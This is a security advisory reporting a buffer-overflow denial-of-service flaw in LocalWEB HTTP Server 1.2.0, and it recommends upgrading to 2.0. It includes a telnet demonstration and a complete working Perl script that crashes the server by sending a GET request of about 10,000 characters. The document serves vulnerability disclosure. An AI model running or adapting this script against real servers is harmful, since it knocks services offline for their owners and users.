COMMAND
LocalWEB
SYSTEMS AFFECTED
LocalWEB HTTP Server 1.2.0
PROBLEM
The Ussr Labs team has recently discovered a buffer overflow
memory problem in the LocalWEB HTTP Server. What happens is by
performing an attack with a malformed URL request to port 80 it
will cause the process containing the services to stop responding.
The http Server (Port 80) service has an overflow in the GET
command:
[hellme@die-communitech.net$ telnet example.com 80
Trying example.com...
Connected to example.com.
Escape character is '^]'.
GET /[buffer]
Where [buffer] is approx. 10000 characters, and the process
containg the service crashes.
Code in Perl:
#!/usr/bin/perl
#
# ./$0.pl -s <server>
#
# Malformed GET URL request DoS
#
use Getopt::Std;
use Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto);
$foo = "A"; # this is the NOP
$number = "10000"; # this is the total number of NOP
$data .= $foo x $number; # result of $foo times $number
$serv = $args{s}; # remote server
$port = 80; # remote port, default is 80
$buf = "GET /$data HTTP/1.0\r\n\r\n"; # issue this response to the
server
$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";
print("Data has been successfully sent to $serv\n");
sub usage {die("\n\n$0 -s <server>\n\n");}
SOLUTION
Upgrade to 2.0 here:
http://www.west-street.co.uk/download.htm